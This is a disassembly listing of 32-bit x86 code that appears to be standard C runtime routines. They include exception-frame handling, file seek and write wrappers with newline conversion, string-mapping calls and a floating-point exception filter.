test eax, eax
jz loc_422D02
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D670
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422D07
mov eax, [edi]
test eax, eax
jz loc_422D07
add esi, 8
push esi
jmp short loc_422BF0
; ---------------------------------------------------------------------------
loc_422C59: ; CODE XREF: sub_422B62+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422CA1
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push edi
call sub_41D670
add esp, 0Ch
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CA1: ; CODE XREF: sub_422B62+103j
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+18h]
call sub_424FB8
pop ecx
test eax, eax
jz short loc_422D02
test byte ptr [esi], 4
jz short loc_422CE8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D2A5
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CE8: ; CODE XREF: sub_422B62+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D29E
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422D02: ; CODE XREF: sub_422B62+6Aj
; sub_422B62+7Cj ...
call sub_422E52
loc_422D07: ; CODE XREF: sub_422B62+98j
; sub_422B62+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422D0B: ; CODE XREF: sub_422B62+2Ej
; sub_422B62+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422B62 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D26 proc near ; CODE XREF: sub_422651+170p
; sub_422AF2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422D6D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422D6D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D29E
or [ebp+var_4], 0FFFFFFFFh
loc_422D6D: ; CODE XREF: sub_422D26+2Aj
; sub_422D26+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422D26 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp
; sub_422B62+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422DAE
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422DAE: ; CODE XREF: sub_422D8D+12j
pop esi
retn
sub_422D8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DB0 proc near ; CODE XREF: sub_41D331+40p
; sub_4228FD+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D61D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422DEF
mov ecx, 2
loc_422DEF: ; CODE XREF: sub_422DB0+38j
push ecx
call sub_41D61D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j
; sub_42299B:loc_4229ACj ...
var_28 = dword ptr -28h
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBE74
test eax, eax
jz short loc_422E44
mov [ebp+var_4], 1
call eax
jmp short loc_422E40
; ---------------------------------------------------------------------------
loc_422E39: ; DATA XREF: ___:00427900o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E3D: ; DATA XREF: ___:00427904o
mov esp, [ebp+var_18]
loc_422E40: ; CODE XREF: sub_422DFC+3Bj
and [ebp+var_4], 0
loc_422E44: ; CODE XREF: sub_422DFC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422E4D: ; DATA XREF: ___:004278F8o
jmp loc_424FD0
sub_422DFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p
; sub_41D4D3:loc_41D53Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43D444
test eax, eax
jz short loc_422E9A
mov [ebp+var_4], 1
call eax ; sub_422DFC
jmp short loc_422E96
; ---------------------------------------------------------------------------
loc_422E8F: ; DATA XREF: ___:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E93: ; DATA XREF: ___:0042791Co
mov esp, [ebp+var_18]
loc_422E96: ; CODE XREF: sub_422E52+3Bj
and [ebp+var_4], 0
loc_422E9A: ; CODE XREF: sub_422E52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422EA3: ; DATA XREF: ___:00427910o
jmp sub_422DFC
sub_422E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p
; sub_41D9B3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DD388
push esi
cmp eax, 3
jnz short loc_422ED1
mov esi, [ebp+arg_0]
push esi
call sub_41E717
test eax, eax
pop ecx
jz short loc_422ECE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422ECE: ; CODE XREF: sub_422EA8+1Cj
push esi
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED1: ; CODE XREF: sub_422EA8+Ej
cmp eax, 2
jnz short loc_422EF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_422EF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EA8+2Cj
; sub_422EA8+43j
push [ebp+arg_0]
loc_422EF8: ; CODE XREF: sub_422EA8+27j
push 0
push dword_4DD384
nop
call near ptr 2650000h
loc_422F06: ; CODE XREF: sub_422EA8+24j
; sub_422EA8+4Bj
pop esi
leave
retn
sub_422EA8 endp
; =============== S U B R O U T I N E =======================================
sub_422F09 proc near ; CODE XREF: ___:0041DAF2p
; sub_41F9BC+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DD140
push esi
push edi
jnb short loc_422F8B
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422F8B
push eax
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422F4D
mov dword_4DBDDC, 9
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F4D: ; CODE XREF: sub_422F09+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call near ptr 27711CFh
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422F6D
call near ptr 2680972h
nop
jmp short loc_422F6F
; ---------------------------------------------------------------------------
loc_422F6D: ; CODE XREF: sub_422F09+5Aj
xor eax, eax
loc_422F6F: ; CODE XREF: sub_422F09+62j
test eax, eax
jz short loc_422F7C
push eax
call sub_420C7F
pop ecx
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F7C: ; CODE XREF: sub_422F09+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422F9F
; ---------------------------------------------------------------------------
loc_422F8B: ; CODE XREF: sub_422F09+Dj
; sub_422F09+2Aj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_422F9C: ; CODE XREF: sub_422F09+42j
; sub_422F09+71j
or eax, 0FFFFFFFFh
loc_422F9F: ; CODE XREF: sub_422F09+80j
pop edi
pop esi
pop ebx
retn
sub_422F09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422FBF
mov [edi+4], ebx
loc_422FBF: ; CODE XREF: sub_422FA3+17j
push 1
push ebx
push esi
call sub_422F09
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42302D
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422FE4
sub eax, [edi+4]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_422FE4: ; CODE XREF: sub_422FA3+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_42301E
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DD040[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_423035
mov edx, ecx
loc_42300F: ; CODE XREF: sub_422FA3+79j
cmp edx, eax
jnb short loc_423035
cmp byte ptr [edx], 0Ah
jnz short loc_42301B
inc [ebp+var_8]
loc_42301B: ; CODE XREF: sub_422FA3+73j
inc edx
jmp short loc_42300F
; ---------------------------------------------------------------------------
loc_42301E: ; CODE XREF: sub_422FA3+50j
test dl, 80h
jnz short loc_423035
mov dword_4DBDDC, 16h
loc_42302D: ; CODE XREF: sub_422FA3+2Dj
or eax, 0FFFFFFFFh
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423035: ; CODE XREF: sub_422FA3+68j
; sub_422FA3+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_423043
mov eax, [ebp+var_8]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423043: ; CODE XREF: sub_422FA3+96j
test byte ptr [edi+0Ch], 1
jz loc_4230EE
mov edx, [edi+4]
test edx, edx
jnz short loc_42305C
and [ebp+var_8], edx
jmp loc_4230EE
; ---------------------------------------------------------------------------
loc_42305C: ; CODE XREF: sub_422FA3+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4230E8
push 2
push 0
push [ebp+var_C]
call sub_422F09
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4230AF
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_42309A: ; CODE XREF: sub_422FA3+104j
cmp eax, ecx
jnb short loc_4230A9
cmp byte ptr [eax], 0Ah
jnz short loc_4230A6
inc [ebp+arg_0]
loc_4230A6: ; CODE XREF: sub_422FA3+FEj
inc eax
jmp short loc_42309A
; ---------------------------------------------------------------------------
loc_4230A9: ; CODE XREF: sub_422FA3+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_4230AF: ; CODE XREF: sub_422FA3+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422F09
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4230D6
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4230D6
test ch, 4
jz short loc_4230D9
loc_4230D6: ; CODE XREF: sub_422FA3+124j
; sub_422FA3+12Cj
mov eax, [edi+18h]
loc_4230D9: ; CODE XREF: sub_422FA3+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4230E3: ; CODE XREF: sub_422FA3+10Aj
jz short loc_4230E8
inc [ebp+arg_0]
loc_4230E8: ; CODE XREF: sub_422FA3+D9j
; sub_422FA3:loc_4230E3j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_4230EE: ; CODE XREF: sub_422FA3+A4j
; sub_422FA3+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_4230F6: ; CODE XREF: sub_422FA3+3Cj
; sub_422FA3+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p
; sub_41E42B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DD140
push esi
push edi
jnb loc_42328F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_42328F
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42314C
loc_423145: ; CODE XREF: sub_4230FB+177j
xor eax, eax
jmp loc_4232A3
; ---------------------------------------------------------------------------
loc_42314C: ; CODE XREF: sub_4230FB+48j
test al, 20h
jz short loc_42315C
push 2
push edi
push ecx
call sub_422F09
add esp, 0Ch
loc_42315C: ; CODE XREF: sub_4230FB+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_42322B
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_423263
loc_42317C: ; CODE XREF: sub_4230FB+F5j
lea eax, [ebp+var_414]
loc_423182: ; CODE XREF: sub_4230FB+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4231B6
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4231A1
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4231A1: ; CODE XREF: sub_4230FB+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_423182
loc_4231B6: ; CODE XREF: sub_4230FB+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2700000h
test eax, eax
jz short loc_423220
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4231F2
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42317C
loc_4231F2: ; CODE XREF: sub_4230FB+EAj
; sub_4230FB+12Ej
xor edi, edi
loc_4231F4: ; CODE XREF: sub_4230FB+150j
; sub_4230FB+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42328A
cmp [ebp+arg_0], edi
jz short loc_423263
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_423258
mov dword_4DBDDC, 9
mov dword_4DBDE0, eax
jmp loc_4232A0
; ---------------------------------------------------------------------------
loc_423220: ; CODE XREF: sub_4230FB+E0j
nop
call near ptr 2680972h
mov [ebp+arg_0], eax
jmp short loc_4231F2
; ---------------------------------------------------------------------------
loc_42322B: ; CODE XREF: sub_4230FB+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 2700000h
test eax, eax
jz short loc_42324D
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_42324D: ; CODE XREF: sub_4230FB+145j
call near ptr 2680972h
nop
mov [ebp+arg_0], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_423258: ; CODE XREF: sub_4230FB+10Fj
push [ebp+arg_0]
call sub_420C7F
pop ecx
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_423263: ; CODE XREF: sub_4230FB+7Bj
; sub_4230FB+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_423278
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423145
loc_423278: ; CODE XREF: sub_4230FB+16Fj
mov dword_4DBDDC, 1Ch
mov dword_4DBDE0, edi
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_42328A: ; CODE XREF: sub_4230FB+FEj
sub eax, [ebp+var_10]
jmp short loc_4232A3
; ---------------------------------------------------------------------------
loc_42328F: ; CODE XREF: sub_4230FB+15j
; sub_4230FB+37j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_4232A0: ; CODE XREF: sub_4230FB+120j
; sub_4230FB+166j ...
or eax, 0FFFFFFFFh
loc_4232A3: ; CODE XREF: sub_4230FB+4Cj
; sub_4230FB+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4230FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p
; sub_41DE4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBE78, edi
jnz short loc_42331E
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427920
mov esi, 100h
push esi
push edi
nop
call near ptr 2640000h
test eax, eax
jz short loc_4232FC
mov dword_4DBE78, ebx
jmp short loc_42331E
; ---------------------------------------------------------------------------
loc_4232FC: ; CODE XREF: sub_4232A8+4Aj
push edi
push edi
push ebx
push offset word_4CB88C
push esi
push edi
call near ptr 264100Eh
nop
test eax, eax
jz loc_423436
mov dword_4DBE78, 2
loc_42331E: ; CODE XREF: sub_4232A8+2Ej
; sub_4232A8+52j
cmp [ebp+arg_C], edi
jle short loc_423333
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4234CC
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_423333: ; CODE XREF: sub_4232A8+79j
mov eax, dword_4DBE78
cmp eax, 2
jnz short loc_42335A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 264100Eh
jmp loc_423438
; ---------------------------------------------------------------------------
loc_42335A: ; CODE XREF: sub_4232A8+93j
cmp eax, 1
jnz loc_423436
cmp [ebp+arg_18], edi
jnz short loc_423370
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_423370: ; CODE XREF: sub_4232A8+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call near ptr 26F0000h
nop
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_423436
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4233CB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4233CB: ; CODE XREF: sub_4232A8+10Ej
cmp [ebp+var_24], edi
jz short loc_423436
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_423436
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_423436
test byte ptr [ebp+arg_4+1], 4
jz short loc_42344A
cmp [ebp+arg_14], edi
jz loc_4234C5
cmp esi, [ebp+arg_14]
jg short loc_423436
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
test eax, eax
jnz loc_4234C5
loc_423436: ; CODE XREF: sub_4232A8+66j
; sub_4232A8+B5j ...
xor eax, eax
loc_423438: ; CODE XREF: sub_4232A8+ADj
; sub_4232A8+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42344A: ; CODE XREF: sub_4232A8+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42347E
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_42347E: ; CODE XREF: sub_4232A8+1C2j
cmp ebx, edi
jz short loc_423436
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2640000h
nop
test eax, eax
jz short loc_423436
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4234A5
push edi
push edi
jmp short loc_4234AB
; ---------------------------------------------------------------------------
loc_4234A5: ; CODE XREF: sub_4232A8+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4234AB: ; CODE XREF: sub_4232A8+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 2811010h
mov esi, eax
cmp esi, edi
jz loc_423436
loc_4234C5: ; CODE XREF: sub_4232A8+165j
; sub_4232A8+188j
mov eax, esi
jmp loc_423438
sub_4232A8 endp
; =============== S U B R O U T I N E =======================================
sub_4234CC proc near ; CODE XREF: sub_4232A8+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4234E9
loc_4234DC: ; CODE XREF: sub_4234CC+1Bj
cmp byte ptr [eax], 0
jz short loc_4234E9
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4234DC
loc_4234E9: ; CODE XREF: sub_4234CC+Ej
; sub_4234CC+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4234F4
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4234F4: ; CODE XREF: sub_4234CC+21j
mov eax, edx
retn
sub_4234CC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_423638
test eax, eax
pop ecx
jz loc_42362C
mov ebx, [eax+8]
test ebx, ebx
jz loc_42362C
cmp ebx, 5
jnz short loc_423528
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423635
; ---------------------------------------------------------------------------
loc_423528: ; CODE XREF: ___:0042351Aj
cmp ebx, 1
jz loc_423627
mov ecx, dword_4DBE9C
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DBE9C, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_423617
mov ecx, dword_43D4C0
mov edx, dword_43D4C4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423577
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43D450h[esi*4]
loc_42356E: ; CODE XREF: ___:00423575j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_42356E
loc_423577: ; CODE XREF: ___:00423560j
mov eax, [eax]
mov esi, dword_43D4CC
cmp eax, 0C000008Eh
jnz short loc_423592
mov dword_43D4CC, 83h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_423592: ; CODE XREF: ___:00423584j
cmp eax, 0C0000090h
jnz short loc_4235A5
mov dword_43D4CC, 81h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235A5: ; CODE XREF: ___:00423597j
cmp eax, 0C0000091h
jnz short loc_4235B8
mov dword_43D4CC, 84h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235B8: ; CODE XREF: ___:004235AAj
cmp eax, 0C0000093h
jnz short loc_4235CB
mov dword_43D4CC, 85h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235CB: ; CODE XREF: ___:004235BDj
cmp eax, 0C000008Dh
jnz short loc_4235DE
mov dword_43D4CC, 82h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235DE: ; CODE XREF: ___:004235D0j
cmp eax, 0C000008Fh
jnz short loc_4235F1
mov dword_43D4CC, 86h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: ___:004235E3j
cmp eax, 0C0000092h
jnz short loc_423602
mov dword_43D4CC, 8Ah
loc_423602: ; CODE XREF: ___:00423590j
; ___:004235A3j ...
push dword_43D4CC
push 8
call ebx
pop ecx
mov dword_43D4CC, esi
pop ecx
pop esi
jmp short loc_42361F
; ---------------------------------------------------------------------------
loc_423617: ; CODE XREF: ___:00423549j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_42361F: ; CODE XREF: ___:00423615j
mov eax, [ebp+8]
mov dword_4DBE9C, eax
loc_423627: ; CODE XREF: ___:0042352Bj
or eax, 0FFFFFFFFh
jmp short loc_423635
; ---------------------------------------------------------------------------
loc_42362C: ; CODE XREF: ___:00423506j
; ___:00423511j
push dword ptr [ebp+0Ch]
call near ptr 2630714h
nop
loc_423635: ; CODE XREF: ___:00423523j
; ___:0042362Aj
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_423638 proc near ; CODE XREF: ___:004234FEp
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D448, edx
push esi
mov eax, offset dword_43D448
jz short loc_423665
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_42365A: ; CODE XREF: sub_423638+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423665
cmp [eax], edx
jnz short loc_42365A
loc_423665: ; CODE XREF: sub_423638+16j
; sub_423638+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_423678
cmp [eax], edx
jz short locret_42367A
